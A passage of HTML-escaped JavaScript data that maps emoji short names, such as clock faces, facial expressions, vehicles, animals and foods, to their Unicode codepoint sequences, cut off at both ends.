ck130:&quot;1F55C&quot;,clock230:&quot;1F55D&quot;,clock330:&quot;1F55E&quot;,clock430:&quot;1F55F&quot;,clock530:&quot;1F560&quot;,clock630:&quot;1F561&quot;,clock730:&quot;1F562&quot;,clock830:&quot;1F563&quot;,clock930:&quot;1F564&quot;,clock1030:&quot;1F565&quot;,clock1130:&quot;1F566&quot;,clock1230:&quot;1F567&quot;,candle:&quot;1F56F-FE0F&quot;,mantelpiece_clock:&quot;1F570-FE0F&quot;,hole:&quot;1F573-FE0F&quot;,man_in_business_suit_levitating:&quot;1F574-FE0F&quot;,&quot;female-detective&quot;:&quot;1F575-FE0F-200D-2640-FE0F&quot;,&quot;male-detective&quot;:&quot;1F575-FE0F-200D-2642-FE0F&quot;,sleuth_or_spy:&quot;1F575-FE0F-200D-2642-FE0F&quot;,dark_sunglasses:&quot;1F576-FE0F&quot;,spider:&quot;1F577-FE0F&quot;,spider_web:&quot;1F578-FE0F&quot;,joystick:&quot;1F579-FE0F&quot;,man_dancing:&quot;1F57A&quot;,linked_paperclips:&quot;1F587-FE0F&quot;,lower_left_ballpoint_pen:&quot;1F58A-FE0F&quot;,lower_left_fountain_pen:&quot;1F58B-FE0F&quot;,lower_left_paintbrush:&quot;1F58C-FE0F&quot;,lower_left_crayon:&quot;1F58D-FE0F&quot;,raised_hand_with_fingers_splayed:&quot;1F590-FE0F&quot;,middle_finger:&quot;1F595&quot;,&quot;spock-hand&quot;:&quot;1F596&quot;,black_heart:&quot;1F5A4&quot;,desktop_computer:&quot;1F5A5-FE0F&quot;,printer:&quot;1F5A8-FE0F&quot;,three_button_mouse:&quot;1F5B1-FE0F&quot;,trackball:&quot;1F5B2-FE0F&quot;,frame_with_picture:&quot;1F5BC-FE0F&quot;,card_index_dividers:&quot;1F5C2-FE0F&quot;,card_file_box:&quot;1F5C3-FE0F&quot;,file_cabinet:&quot;1F5C4-FE0F&quot;,wastebasket:&quot;1F5D1-FE0F&quot;,spiral_note_pad:&quot;1F5D2-FE0F&quot;,spiral_calendar_pad:&quot;1F5D3-FE0F&quot;,compression:&quot;1F5DC-FE0F&quot;,old_key:&quot;1F5DD-FE0F&quot;,rolled_up_newspaper:&quot;1F5DE-FE0F&quot;,dagger_knife:&quot;1F5E1-FE0F&quot;,speaking_head_in_silhouette:&quot;1F5E3-FE0F&quot;,left_speech_bubble:&quot;1F5E8-FE0F&quot;,right_anger_bubble:&quot;1F5EF-FE0F&quot;,ballot_box_with_ballot:&quot;1F5F3-FE0F&quot;,world_map:&quot;1F5FA-FE0F&quot;,mount_fuji:&quot;1F5FB&quot;,tokyo_tower:&quot;1F5FC&quot;,statue_of_liberty:&quot;1F5FD&quot;,japan:&quot;1F5FE&quot;,moyai:&quot;1F5FF&quot;,grinning:&quot;1F600&quot;,grin:&quot;1F601&quot;,joy:&quot;1F602&quot;,smiley:&quot;1F603&quot;,smile:&quot;1F604&quot;,sweat_smile:&quot;1F605&quot;,laughing:&quot;1F606&quot;,innocent:&quot;1F607&quot;,smiling_imp:&quot;1F608&quot;,wink:&quot;1F609&quot;,blush:&quot;1F60A&quot;,yum:&quot;1F60B&quot;,relieved:&quot;1F60C&quot;,heart_eyes:&quot;1F60D&quot;,sunglasses:&quot;1F60E&quot;,smirk:&quot;1F60F&quot;,neutral_face:&quot;1F610&quot;,expressionless:&quot;1F611&quot;,unamused:&quot;1F612&quot;,sweat:&quot;1F613&quot;,pensive:&quot;1F614&quot;,confused:&quot;1F615&quot;,confounded:&quot;1F616&quot;,kissing:&quot;1F617&quot;,kissing_heart:&quot;1F618&quot;,kissing_smiling_eyes:&quot;1F619&quot;,kissing_closed_eyes:&quot;1F61A&quot;,stuck_out_tongue:&quot;1F61B&quot;,stuck_out_tongue_winking_eye:&quot;1F61C&quot;,stuck_out_tongue_closed_eyes:&quot;1F61D&quot;,disappointed:&quot;1F61E&quot;,worried:&quot;1F61F&quot;,angry:&quot;1F620&quot;,rage:&quot;1F621&quot;,cry:&quot;1F622&quot;,persevere:&quot;1F623&quot;,triumph:&quot;1F624&quot;,disappointed_relieved:&quot;1F625&quot;,frowning:&quot;1F626&quot;,anguished:&quot;1F627&quot;,fearful:&quot;1F628&quot;,weary:&quot;1F629&quot;,sleepy:&quot;1F62A&quot;,tired_face:&quot;1F62B&quot;,grimacing:&quot;1F62C&quot;,sob:&quot;1F62D&quot;,face_exhaling:&quot;1F62E-200D-1F4A8&quot;,open_mouth:&quot;1F62E&quot;,hushed:&quot;1F62F&quot;,cold_sweat:&quot;1F630&quot;,scream:&quot;1F631&quot;,astonished:&quot;1F632&quot;,flushed:&quot;1F633&quot;,sleeping:&quot;1F634&quot;,face_with_spiral_eyes:&quot;1F635-200D-1F4AB&quot;,dizzy_face:&quot;1F635&quot;,face_in_clouds:&quot;1F636-200D-1F32B-FE0F&quot;,no_mouth:&quot;1F636&quot;,mask:&quot;1F637&quot;,smile_cat:&quot;1F638&quot;,joy_cat:&quot;1F639&quot;,smiley_cat:&quot;1F63A&quot;,heart_eyes_cat:&quot;1F63B&quot;,smirk_cat:&quot;1F63C&quot;,kissing_cat:&quot;1F63D&quot;,pouting_cat:&quot;1F63E&quot;,crying_cat_face:&quot;1F63F&quot;,scream_cat:&quot;1F640&quot;,slightly_frowning_face:&quot;1F641&quot;,slightly_smiling_face:&quot;1F642&quot;,upside_down_face:&quot;1F643&quot;,face_with_rolling_eyes:&quot;1F644&quot;,&quot;woman-gesturing-no&quot;:&quot;1F645-200D-2640-FE0F&quot;,&quot;man-gesturing-no&quot;:&quot;1F645-200D-2642-FE0F&quot;,no_good:&quot;1F645-200D-2640-FE0F&quot;,&quot;woman-gesturing-ok&quot;:&quot;1F646-200D-2640-FE0F&quot;,&quot;man-gesturing-ok&quot;:&quot;1F646-200D-2642-FE0F&quot;,ok_woman:&quot;1F646-200D-2640-FE0F&quot;,&quot;woman-bowing&quot;:&quot;1F647-200D-2640-FE0F&quot;,&quot;man-bowing&quot;:&quot;1F647-200D-2642-FE0F&quot;,bow:&quot;1F647-200D-2642-FE0F&quot;,see_no_evil:&quot;1F648&quot;,hear_no_evil:&quot;1F649&quot;,speak_no_evil:&quot;1F64A&quot;,&quot;woman-raising-hand&quot;:&quot;1F64B-200D-2640-FE0F&quot;,&quot;man-raising-hand&quot;:&quot;1F64B-200D-2642-FE0F&quot;,raising_hand:&quot;1F64B-200D-2640-FE0F&quot;,raised_hands:&quot;1F64C&quot;,&quot;woman-frowning&quot;:&quot;1F64D-200D-2640-FE0F&quot;,&quot;man-frowning&quot;:&quot;1F64D-200D-2642-FE0F&quot;,person_frowning:&quot;1F64D-200D-2640-FE0F&quot;,&quot;woman-pouting&quot;:&quot;1F64E-200D-2640-FE0F&quot;,&quot;man-pouting&quot;:&quot;1F64E-200D-2642-FE0F&quot;,person_with_pouting_face:&quot;1F64E-200D-2640-FE0F&quot;,pray:&quot;1F64F&quot;,rocket:&quot;1F680&quot;,helicopter:&quot;1F681&quot;,steam_locomotive:&quot;1F682&quot;,railway_car:&quot;1F683&quot;,bullettrain_side:&quot;1F684&quot;,bullettrain_front:&quot;1F685&quot;,train2:&quot;1F686&quot;,metro:&quot;1F687&quot;,light_rail:&quot;1F688&quot;,station:&quot;1F689&quot;,tram:&quot;1F68A&quot;,train:&quot;1F68B&quot;,bus:&quot;1F68C&quot;,oncoming_bus:&quot;1F68D&quot;,trolleybus:&quot;1F68E&quot;,busstop:&quot;1F68F&quot;,minibus:&quot;1F690&quot;,ambulance:&quot;1F691&quot;,fire_engine:&quot;1F692&quot;,police_car:&quot;1F693&quot;,oncoming_police_car:&quot;1F694&quot;,taxi:&quot;1F695&quot;,oncoming_taxi:&quot;1F696&quot;,car:&quot;1F697&quot;,oncoming_automobile:&quot;1F698&quot;,blue_car:&quot;1F699&quot;,truck:&quot;1F69A&quot;,articulated_lorry:&quot;1F69B&quot;,tractor:&quot;1F69C&quot;,monorail:&quot;1F69D&quot;,mountain_railway:&quot;1F69E&quot;,suspension_railway:&quot;1F69F&quot;,mountain_cableway:&quot;1F6A0&quot;,aerial_tramway:&quot;1F6A1&quot;,ship:&quot;1F6A2&quot;,&quot;woman-rowing-boat&quot;:&quot;1F6A3-200D-2640-FE0F&quot;,&quot;man-rowing-boat&quot;:&quot;1F6A3-200D-2642-FE0F&quot;,rowboat:&quot;1F6A3-200D-2642-FE0F&quot;,speedboat:&quot;1F6A4&quot;,traffic_light:&quot;1F6A5&quot;,vertical_traffic_light:&quot;1F6A6&quot;,construction:&quot;1F6A7&quot;,rotating_light:&quot;1F6A8&quot;,triangular_flag_on_post:&quot;1F6A9&quot;,door:&quot;1F6AA&quot;,no_entry_sign:&quot;1F6AB&quot;,smoking:&quot;1F6AC&quot;,no_smoking:&quot;1F6AD&quot;,put_litter_in_its_place:&quot;1F6AE&quot;,do_not_litter:&quot;1F6AF&quot;,potable_water:&quot;1F6B0&quot;,&quot;non-potable_water&quot;:&quot;1F6B1&quot;,bike:&quot;1F6B2&quot;,no_bicycles:&quot;1F6B3&quot;,&quot;woman-biking&quot;:&quot;1F6B4-200D-2640-FE0F&quot;,&quot;man-biking&quot;:&quot;1F6B4-200D-2642-FE0F&quot;,bicyclist:&quot;1F6B4-200D-2642-FE0F&quot;,&quot;woman-mountain-biking&quot;:&quot;1F6B5-200D-2640-FE0F&quot;,&quot;man-mountain-biking&quot;:&quot;1F6B5-200D-2642-FE0F&quot;,mountain_bicyclist:&quot;1F6B5-200D-2642-FE0F&quot;,&quot;woman-walking&quot;:&quot;1F6B6-200D-2640-FE0F&quot;,&quot;man-walking&quot;:&quot;1F6B6-200D-2642-FE0F&quot;,walking:&quot;1F6B6-200D-2642-FE0F&quot;,no_pedestrians:&quot;1F6B7&quot;,children_crossing:&quot;1F6B8&quot;,mens:&quot;1F6B9&quot;,womens:&quot;1F6BA&quot;,restroom:&quot;1F6BB&quot;,baby_symbol:&quot;1F6BC&quot;,toilet:&quot;1F6BD&quot;,wc:&quot;1F6BE&quot;,shower:&quot;1F6BF&quot;,bath:&quot;1F6C0&quot;,bathtub:&quot;1F6C1&quot;,passport_control:&quot;1F6C2&quot;,customs:&quot;1F6C3&quot;,baggage_claim:&quot;1F6C4&quot;,left_luggage:&quot;1F6C5&quot;,couch_and_lamp:&quot;1F6CB-FE0F&quot;,sleeping_accommodation:&quot;1F6CC&quot;,shopping_bags:&quot;1F6CD-FE0F&quot;,bellhop_bell:&quot;1F6CE-FE0F&quot;,bed:&quot;1F6CF-FE0F&quot;,place_of_worship:&quot;1F6D0&quot;,octagonal_sign:&quot;1F6D1&quot;,shopping_trolley:&quot;1F6D2&quot;,hindu_temple:&quot;1F6D5&quot;,hut:&quot;1F6D6&quot;,elevator:&quot;1F6D7&quot;,hammer_and_wrench:&quot;1F6E0-FE0F&quot;,shield:&quot;1F6E1-FE0F&quot;,oil_drum:&quot;1F6E2-FE0F&quot;,motorway:&quot;1F6E3-FE0F&quot;,railway_track:&quot;1F6E4-FE0F&quot;,motor_boat:&quot;1F6E5-FE0F&quot;,small_airplane:&quot;1F6E9-FE0F&quot;,airplane_departure:&quot;1F6EB&quot;,airplane_arriving:&quot;1F6EC&quot;,satellite:&quot;1F6F0-FE0F&quot;,passenger_ship:&quot;1F6F3-FE0F&quot;,scooter:&quot;1F6F4&quot;,motor_scooter:&quot;1F6F5&quot;,canoe:&quot;1F6F6&quot;,sled:&quot;1F6F7&quot;,flying_saucer:&quot;1F6F8&quot;,skateboard:&quot;1F6F9&quot;,auto_rickshaw:&quot;1F6FA&quot;,pickup_truck:&quot;1F6FB&quot;,roller_skate:&quot;1F6FC&quot;,large_orange_circle:&quot;1F7E0&quot;,large_yellow_circle:&quot;1F7E1&quot;,large_green_circle:&quot;1F7E2&quot;,large_purple_circle:&quot;1F7E3&quot;,large_brown_circle:&quot;1F7E4&quot;,large_red_square:&quot;1F7E5&quot;,large_blue_square:&quot;1F7E6&quot;,large_orange_square:&quot;1F7E7&quot;,large_yellow_square:&quot;1F7E8&quot;,large_green_square:&quot;1F7E9&quot;,large_purple_square:&quot;1F7EA&quot;,large_brown_square:&quot;1F7EB&quot;,pinched_fingers:&quot;1F90C&quot;,white_heart:&quot;1F90D&quot;,brown_heart:&quot;1F90E&quot;,pinching_hand:&quot;1F90F&quot;,zipper_mouth_face:&quot;1F910&quot;,money_mouth_face:&quot;1F911&quot;,face_with_thermometer:&quot;1F912&quot;,nerd_face:&quot;1F913&quot;,thinking_face:&quot;1F914&quot;,face_with_head_bandage:&quot;1F915&quot;,robot_face:&quot;1F916&quot;,hugging_face:&quot;1F917&quot;,the_horns:&quot;1F918&quot;,call_me_hand:&quot;1F919&quot;,raised_back_of_hand:&quot;1F91A&quot;,&quot;left-facing_fist&quot;:&quot;1F91B&quot;,&quot;right-facing_fist&quot;:&quot;1F91C&quot;,handshake:&quot;1F91D&quot;,crossed_fingers:&quot;1F91E&quot;,i_love_you_hand_sign:&quot;1F91F&quot;,face_with_cowboy_hat:&quot;1F920&quot;,clown_face:&quot;1F921&quot;,nauseated_face:&quot;1F922&quot;,rolling_on_the_floor_laughing:&quot;1F923&quot;,drooling_face:&quot;1F924&quot;,lying_face:&quot;1F925&quot;,&quot;woman-facepalming&quot;:&quot;1F926-200D-2640-FE0F&quot;,&quot;man-facepalming&quot;:&quot;1F926-200D-2642-FE0F&quot;,face_palm:&quot;1F926&quot;,sneezing_face:&quot;1F927&quot;,face_with_raised_eyebrow:&quot;1F928&quot;,&quot;star-struck&quot;:&quot;1F929&quot;,zany_face:&quot;1F92A&quot;,shushing_face:&quot;1F92B&quot;,face_with_symbols_on_mouth:&quot;1F92C&quot;,face_with_hand_over_mouth:&quot;1F92D&quot;,face_vomiting:&quot;1F92E&quot;,exploding_head:&quot;1F92F&quot;,pregnant_woman:&quot;1F930&quot;,&quot;breast-feeding&quot;:&quot;1F931&quot;,palms_up_together:&quot;1F932&quot;,selfie:&quot;1F933&quot;,prince:&quot;1F934&quot;,woman_in_tuxedo:&quot;1F935-200D-2640-FE0F&quot;,man_in_tuxedo:&quot;1F935-200D-2642-FE0F&quot;,person_in_tuxedo:&quot;1F935&quot;,mrs_claus:&quot;1F936&quot;,&quot;woman-shrugging&quot;:&quot;1F937-200D-2640-FE0F&quot;,&quot;man-shrugging&quot;:&quot;1F937-200D-2642-FE0F&quot;,shrug:&quot;1F937&quot;,&quot;woman-cartwheeling&quot;:&quot;1F938-200D-2640-FE0F&quot;,&quot;man-cartwheeling&quot;:&quot;1F938-200D-2642-FE0F&quot;,person_doing_cartwheel:&quot;1F938&quot;,&quot;woman-juggling&quot;:&quot;1F939-200D-2640-FE0F&quot;,&quot;man-juggling&quot;:&quot;1F939-200D-2642-FE0F&quot;,juggling:&quot;1F939&quot;,fencer:&quot;1F93A&quot;,&quot;woman-wrestling&quot;:&quot;1F93C-200D-2640-FE0F&quot;,&quot;man-wrestling&quot;:&quot;1F93C-200D-2642-FE0F&quot;,wrestlers:&quot;1F93C&quot;,&quot;woman-playing-water-polo&quot;:&quot;1F93D-200D-2640-FE0F&quot;,&quot;man-playing-water-polo&quot;:&quot;1F93D-200D-2642-FE0F&quot;,water_polo:&quot;1F93D&quot;,&quot;woman-playing-handball&quot;:&quot;1F93E-200D-2640-FE0F&quot;,&quot;man-playing-handball&quot;:&quot;1F93E-200D-2642-FE0F&quot;,handball:&quot;1F93E&quot;,diving_mask:&quot;1F93F&quot;,wilted_flower:&quot;1F940&quot;,drum_with_drumsticks:&quot;1F941&quot;,clinking_glasses:&quot;1F942&quot;,tumbler_glass:&quot;1F943&quot;,spoon:&quot;1F944&quot;,goal_net:&quot;1F945&quot;,first_place_medal:&quot;1F947&quot;,second_place_medal:&quot;1F948&quot;,third_place_medal:&quot;1F949&quot;,boxing_glove:&quot;1F94A&quot;,martial_arts_uniform:&quot;1F94B&quot;,curling_stone:&quot;1F94C&quot;,lacrosse:&quot;1F94D&quot;,softball:&quot;1F94E&quot;,flying_disc:&quot;1F94F&quot;,croissant:&quot;1F950&quot;,avocado:&quot;1F951&quot;,cucumber:&quot;1F952&quot;,bacon:&quot;1F953&quot;,potato:&quot;1F954&quot;,carrot:&quot;1F955&quot;,baguette_bread:&quot;1F956&quot;,green_salad:&quot;1F957&quot;,shallow_pan_of_food:&quot;1F958&quot;,stuffed_flatbread:&quot;1F959&quot;,egg:&quot;1F95A&quot;,glass_of_milk:&quot;1F95B&quot;,peanuts:&quot;1F95C&quot;,kiwifruit:&quot;1F95D&quot;,pancakes:&quot;1F95E&quot;,dumpling:&quot;1F95F&quot;,fortune_cookie:&quot;1F960&quot;,takeout_box:&quot;1F961&quot;,chopsticks:&quot;1F962&quot;,bowl_with_spoon:&quot;1F963&quot;,cup_with_straw:&quot;1F964&quot;,coconut:&quot;1F965&quot;,broccoli:&quot;1F966&quot;,pie:&quot;1F967&quot;,pretzel:&quot;1F968&quot;,cut_of_meat:&quot;1F969&quot;,sandwich:&quot;1F96A&quot;,canned_food:&quot;1F96B&quot;,leafy_green:&quot;1F96C&quot;,mango:&quot;1F96D&quot;,moon_cake:&quot;1F96E&quot;,bagel:&quot;1F96F&quot;,smiling_face_with_3_hearts:&quot;1F970&quot;,yawning_face:&quot;1F971&quot;,smiling_face_with_tear:&quot;1F972&quot;,partying_face:&quot;1F973&quot;,woozy_face:&quot;1F974&quot;,hot_face:&quot;1F975&quot;,cold_face:&quot;1F976&quot;,ninja:&quot;1F977&quot;,disguised_face:&quot;1F978&quot;,pleading_face:&quot;1F97A&quot;,sari:&quot;1F97B&quot;,lab_coat:&quot;1F97C&quot;,goggles:&quot;1F97D&quot;,hiking_boot:&quot;1F97E&quot;,womans_flat_shoe:&quot;1F97F&quot;,crab:&quot;1F980&quot;,lion_face:&quot;1F981&quot;,scorpion:&quot;1F982&quot;,turkey:&quot;1F983&quot;,unicorn_face:&quot;1F984&quot;,eagle:&quot;1F985&quot;,duck:&quot;1F986&quot;,bat:&quot;1F987&quot;,shark:&quot;1F988&quot;,owl:&quot;1F989&quot;,fox_face:&quot;1F98A&quot;,butterfly:&quot;1F98B&quot;,deer:&quot;1F98C&quot;,gorilla:&quot;1F98D&quot;,lizard:&quot;1F98E&quot;,rhinoceros:&quot;1F98F&quot;,shrimp:&quot;1F990&quot;,squid:&quot;1F991&quot;,giraffe_face:&quot;1F992&quot;,zebra_face:&quot;1F993&quot;,hedgehog:&quot;1F994&quot;,sauropod:&quot;1F995&quot;,&quot;t-rex&quot;:&quot;1F996&quot;,cricket:&quot;1F997&quot;,kangaroo:&quot;1F998&quot;,llama:&quot;1F999&quot;,peacock:&quot;1F99A&quot;,hippopotamus:&quot;1F99B&quot;,parrot:&quot;1F99C&quot;,raccoon:&quot;1F99D&quot;,lobster:&quot;1F99E&quot;,mosquito:&quot;1F99F&quot;,microbe:&quot;1F9A0&quot;,badger:&quot;1F9A1&quot;,swan:&quot;1F9A2&quot;,mammoth:&quot;1F9A3&quot;,dodo:&quot;1F9A4&quot;,sloth:&quot;1F9A5&quot;,otter:&quot;1F9A6&quot;,orangutan:&quot;1F9A7&quot;,skunk:&quot;1F9A8&quot;,flamingo:&quot;1F9A9&quot;,oyster:&quot;1F9AA&quot;,beaver:&quot;1F9AB&quot;,bison:&quot;1F9AC&quot;,seal:&quot;1F9AD&quot;,guide_dog:&quot;1F9AE&quot;,probing_cane:&quot;1F9AF&quot;,bone:&quot;1F9B4&quot;,leg:&quot;1F9B5&quot;,foot:&quot;1F9B6&quot;,tooth:&quot;1F9B7&quot;,female_superhero:&quot;1F9B8-200D-2640-FE0F&quot;,male_superhero:&quot;1F9B8-200D-2642-FE0F&quot;,superhero:&quot;1F9B8&quot;,female_supervillain:&quot;1F9B9-200D-2640-FE0F&quot;,male_supervillain:&quot;1F9B9-200D-2642-FE0F&quot;,supervillain:&quot;1F9B9&quot;,safety_vest:&quot;1F9BA&quot;,ear_with_hearing_aid:&quot;1F9BB&quot;,motorized_wheelchair:&quot;1F9BC&quot;,manual_wheelchair:&quot;1F9BD&quot;,mechanical_arm:&quot;1F9BE&quot;,mechanical_leg:&quot;1F9BF&quot;,cheese_wedge:&quot;1F9C0&quot;,cupcake:&quot;1F9C1&quot;,salt:&quot;1F9C2&quot;,beverage_box:&quot;1F9C3&quot;,garlic:&quot;1F9C4&quot;,onion:&quot;1F9C5&quot;,falafel:&quot;1F9C6&quot;,waffle:&quot;1F9C7&quot;,butter:&quot;1F9C8&quot;,mate_drink:&quot;1F9C9&quot;,ice_cube:&quot;1F9CA&quot;,bubble_tea:&quot;1F9CB&quot;,woman_standing:&quot;1F9CD-200D-2640-FE0F&quot;,man_standing:&quot;1F9CD-200D-2642-FE0F&quot;,standing_person:&quot;1F9CD&quot;,woman_kneeling:&quot;1F9CE-200D-2640-FE0F&quot;,man_kneeling:&quot;1F9CE-200D-2642-FE0F&quot;,kneeling_person:&quot;1F9CE&quot;,deaf_woman:&quot;1F9CF-200D-2640-FE0F&quot;,deaf_man:&quot;1F9CF-200D-2642-FE0F&quot;,deaf_person:&quot;1F9CF&quot;,face_with_monocle:&quot;1F9D0&quot;,farmer:&quot;1F9D1-200D-1F33E&quot;,cook:&quot;1F9D1-200D-1F373&quot;,person_feeding_baby:&quot;1F9D1-200D-1F37C&quot;,mx_claus:&quot;1F9D1-200D-1F384&quot;,student:&quot;1F9D1-200D-1F393&quot;,singer:&quot;1F9D1-200D-1F3A4&quot;,artist:&quot;1F9D1-200D-1F3A8&quot;,teacher:&quot;1F9D1-200D-1F3EB&quot;,factory_worker:&quot;1F9D1-200D-1F3ED&quot;,technologist:&quot;1F9D1-200D-1F4BB&quot;,office_worker:&quot;1F9D1-200D-1F4BC&quot;,mechanic:&quot;1F9D1-200D-1F527&quot;,scientist:&quot;1F9D1-200D-1F52C&quot;,astronaut:&quot;1F9D1-200D-1F680&quot;,firefighter:&quot;1F9D1-200D-1F692&quot;,people_holding_hands:&quot;1F9D1-200D-1F91D-200D-1F9D1&quot;,person_with_probing_cane:&quot;1F9D1-200D-1F9AF&quot;,red_haired_person:&quot;1F9D1-200D-1F9B0&quot;,curly_haired_person:&quot;1F9D1-200D-1F9B1&quot;,bald_person:&quot;1F9D1-200D-1F9B2&quot;,white_haired_person:&quot;1F9D1-200D-1F9B3&quot;,person_in_motorized_wheelchair:&quot;1F9D1-200D-1F9BC&quot;,person_in_manual_wheelchair:&quot;1F9D1-200D-1F9BD&quot;,health_worker:&quot;1F9D1-200D-2695-FE0F&quot;,judge:&quot;1F9D1-200D-2696-FE0F&quot;,pilot:&quot;1F9D1-200D-2708-FE0F&quot;,adult:&quot;1F9D1&quot;,child:&quot;1F9D2&quot;,older_adult:&quot;1F9D3&quot;,woman_with_beard:&quot;1F9D4-200D-2640-FE0F&quot;,man_with_beard:&quot;1F9D4-200D-2642-FE0F&quot;,bearded_person:&quot;1F9D4&quot;,person_with_headscarf:&quot;1F9D5&quot;,woman_in_steamy_room:&quot;1F9D6-200D-2640-FE0F&quot;,man_in_steamy_room:&quot;1F9D6-200D-2642-FE0F&quot;,person_in_steamy_room:&quot;1F9D6-200D-2642-FE0F&quot;,woman_climbing:&quot;1F9D7-200D-2640-FE0F&quot;,man_climbing:&quot;1F9D7-200D-2642-FE0F&quot;,person_climbing:&quot;1F9D7-200D-2640-FE0F&quot;,woman_in_lotus_position:&quot;1F9D8-200D-2640-FE0F&quot;,man_in_lotus_position:&quot;1F9D8-200D-2642-FE0F&quot;,person_in_lotus_position:&quot;1F9D8-200D-2640-FE0F&quot;,female_mage:&quot;1F9D9-200D-2640-FE0F&quot;,male_mage:&quot;1F9D9-200D-2642-FE0F&quot;,mage:&quot;1F9D9-200D-2640-FE0F&quot;,female_fairy:&quot;1F9DA-200D-2640-FE0F&quot;,male_fairy:&quot;1F9DA-200D-2642-FE0F&quot;,fairy:&quot;1F9DA-200D-2640-FE0F&quot;,female_vampire:&quot;1F9DB-200D-2640-FE0F&quot;,male_vampire:&quot;1F9DB-200D-2642-FE0F&quot;,vampire:&quot;1F9DB-200D-2640-FE0F&quot;,mermaid:&quot;1F9DC-200D-2640-FE0F&quot;,merman:&quot;1F9DC-200D-2642-FE0F&quot;,merperson:&quot;1F9DC-200D-2642-FE0F&quot;,female_elf:&quot;1F9DD-200D-2640-FE0F&quot;,male_elf:&quot;1F9DD-200D-2642-FE0F&quot;,elf:&quot;1F9DD-200D-2642-FE0F&quot;,female_genie:&quot;1F9DE-200D-2640-FE0F&quot;,male_genie:&quot;1F9DE-200D-2642-FE0F&quot;,genie:&quot;1F9DE-200D-2642-FE0F&quot;,female_zombie:&quot;1F9DF-200D-2640-FE0F&quot;,male_zombie:&quot;1F9DF-200D-2642-FE0F&quot;,zombie:&quot;1F9DF-200D-2642-FE0F&quot;,brain:&quot;1F9E0&quot;,orange_heart:&quot;1F9E1&quot;,billed_cap:&quot;1F9E2&quot;,scarf:&quot;1F9E3&quot;,gloves:&quot;1F9E4&quot;,coat:&quot;1F9E5&quot;,socks:&quot;1F9E6&quot;,red_envelope:&quot;1F9E7&quot;,firecracker:&quot;1F9E8&quot;,jigsaw:&quot;1F9E9&quot;,test_tube:&quot;1F9EA&quot;,petri_dish:&quot;1F9EB&quot;,dna:&quot;1F9EC&quot;,compass:&quot;1F9ED&quot;,abacus:&quot;1F9EE&quot;,fire_extinguisher:&quot;1F9EF&quot;,toolbox:&quot;1F9F0&quot;,bricks:&quot;1F9F1&quot;,magnet:&quot;1F9F2&quot;,luggage:&quot;1F9F3&quot;,lotion_bottle:&quot;1F9F4&quot;,thread:&quot;1F9F5&quot;,yarn:&quot;1F9F6&quot;,safety_pin:&quot;1F9F7&quot;,teddy_bear:&quot;1F9F8&quot;,broom:&quot;1F9F9&quot;,basket:&quot;1F9FA&quot;,roll_of_paper:&quot;1F9FB&quot;,soap:&quot;1F9FC&quot;,sponge:&quot;1F9FD&quot;,receipt:&quot;1F9FE&quot;,nazar_amulet:&quot;1F9FF&quot;,ballet_shoes:&quot;1FA70&quot;,&quot;one-piece_swimsuit&quot;:&quot;1FA71&quot;,briefs:&quot;1FA72&quot;,shorts:&quot;1FA73&quot;,thong_sandal:&quot;1FA74&quot;,drop_of_blood:&quot;1FA78&quot;,adhesive_bandage:&quot;1FA79&quot;,stethoscope:&quot;1FA7A&quot;,&quot;yo-yo&quot;:&quot;1FA80&quot;,kite:&quot;1FA81&quot;,parachute:&quot;1FA82&quot;,boomerang:&quot;1FA83&quot;,magic_wand:&quot;1FA84&quot;,pinata:&quot;1FA85&quot;,nesting_dolls:&quot;1FA86&quot;,ringed_planet:&quot;1FA90&quot;,chair:&quot;1FA91&quot;,razor:&quot;1FA92&quot;,axe:&quot;1FA93&quot;,diya_lamp:&quot;1FA94&quot;,banjo:&quot;1FA95&quot;,military_helmet:&quot;1FA96&quot;,accordion:&quot;1FA97&quot;,long_drum:&quot;1FA98&quot;,coin:&quot;1FA99&quot;,carpentry_saw:&quot;1FA9A&quot;,screwdriver:&quot;1FA9B&quot;,ladder:&quot;1FA9C&quot;,hook:&quot;1FA9D&quot;,mirror:&quot;1FA9E&quot;,window:&quot;1FA9F&quot;,plunger:&quot;1FAA0&quot;,sewing_needle:&quot;1FAA1&quot;,knot:&quot;1FAA2&quot;,bucket:&quot;1FAA3&quot;,mouse_trap:&quot;1FAA4&quot;,toothbrush:&quot;1FAA5&quot;,headstone:&quot;1FAA6&quot;,placard:&quot;1FAA7&quot;,rock:&quot;1FAA8&quot;,fly:&quot;1FAB0&quot;,worm:&quot;1FAB1&quot;,beetle:&quot;1FAB2&quot;,cockroach:&quot;1FAB3&quot;,potted_plant:&quot;1FAB4&quot;,wood:&quot;1FAB5&quot;,feather:&quot;1FAB6&quot;,anatomical_heart:&quot;1FAC0&quot;,lungs:&quot;1FAC1&quot;,people_hugging:&quot;1FAC2&quot;,blueberries:&quot;1FAD0&quot;,bell_pepper:&quot;1FAD1&quot;,olive:&quot;1FAD2&quot;,flatbread:&quot;1FAD3&quot;,tamale:&quot;1FAD4&quot;,fondue:&quot;1FAD5&quot;,teapot:&quot;1FAD6&quot;,bangbang:&quot;203C-FE0F&quot;,interrobang:&quot;2049-FE0F&quot;,tm:&quot;2122-FE0F&quot;,information_source:&quot;2139-FE0F&quot;,left_right_arrow:&quot;2194-FE0F&quot;,arrow_up_down:&quot;2195-FE0F&quot;,arrow_upper_left:&quot;2196-FE0F&quot;,arrow_upper_right:&quot;2197-FE0F&quot;,arrow_lower_right:&quot;2198-FE0F&quot;,arrow_lower_left:&quot;2199-FE0F&quot;,leftwards_arrow_with_hook:&quot;21A9-FE0F&quot;,arrow_right_hook:&quot;21AA-FE0F&quot;,watch:&quot;231A&quot;,hourglass:&quot;231B&quot;,keyboard:&quot;2328-FE0F&quot;,eject:&quot;23CF-FE0F&quot;,fast_forward:&quot;23E9&quot;,rewind:&quot;23EA&quot;,arrow_double_up:&quot;23EB&quot;,arrow_double_down:&quot;23EC&quot;,black_right_pointing_double_triangle_with_vertical_bar:&quot;23ED-FE0F&quot;,black_left_pointing_double_triangle_with_vertical_bar:&quot;23EE-FE0F&quot;,black_right_pointing_triangle_with_double_vertical_bar:&quot;23EF-FE0F&quot;,alarm_clock:&quot;23F0&quot;,stopwatch:&quot;23F1-FE0F&quot;,timer_clock:&quot;23F2-FE0F&quot;,hourglass_flowing_sand:&quot;23F3&quot;,double_vertical_bar:&quot;23F8-FE0F&quot;,black_square_for_stop:&quot;23F9-FE0F&quot;,black_circle_for_record:&quot;23FA-FE0F&quot;,m:&quot;24C2-FE0F&quot;,black_small_square:&quot;25AA-FE0F&quot;,white_small_square:&quot;25AB-FE0F&quot;,arrow_forward:&quot;25B6-FE0F&quot;,arrow_backward:&quot;25C0-FE0F&quot;,white_medium_square:&quot;25FB-FE0F&quot;,black_medi